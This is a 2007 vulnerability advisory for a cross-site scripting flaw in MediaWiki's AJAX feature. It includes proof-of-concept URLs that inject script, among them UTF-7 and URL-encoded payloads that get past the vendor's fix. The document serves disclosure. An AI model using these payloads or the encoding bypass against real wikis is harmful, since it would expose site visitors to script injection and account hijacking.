MediaWiki Cross-site Scripting

Credit: Moshe BA
Risk: Low
Local: No
Remote: Yes

MediaWiki Cross-site Scripting Vulnerabilities. Date: 18/02/2007 Vendor: MediaWiki Vulnerable versions: MediaWiki 1.9.2 (latest) and below. Description: MediaWiki v1.8.2 and below are vulnerable to plain Cross-site scripting attack by expliting the experimental AJAX features, if enabled (default). This XSS was fixed in post 1.8.2 versions (1.8.3, 1.9.0rc2, 1.9.0, 1.9.1, 1.9.2). This fix can be bypassed by encoding the XSS exploit to UTF-7. note: browsers encoding auto-detection has to be enabled for successful explitation. Proof-of-concept: http://[Host]/wiki/index.php?action=ajax&rs=[XSS] UTF-7 XSS in post 1.8.2 versions. Examples: v1.8.2 and below: http://[Host]/wiki/index.php?action=ajax&'htt p://')%3C/script%3E v1.8.3 - v1.9.2 http://[Host]/wiki/index.php?action=ajax& '');+ADw-/SCRIPT+AD4- http://[Host]/wiki/index.php?action=ajax&rs=%2B%41%44%77%2D%53%43%52%49% 50%54%2B%41%44%34%2D%61%6C%65%72%74%28%27%58%53%53%27%29%3B%2B%41%44%77% 2D%2F%53%43%52%49%50%54%2B%41%44%34%2D (URL Encoded) Credit: Moshe BA from BugSec Tel:+972-3-9622655 Email: Info [^A-t] BugSec \*D.O.T*\ com BugSec LTD. -

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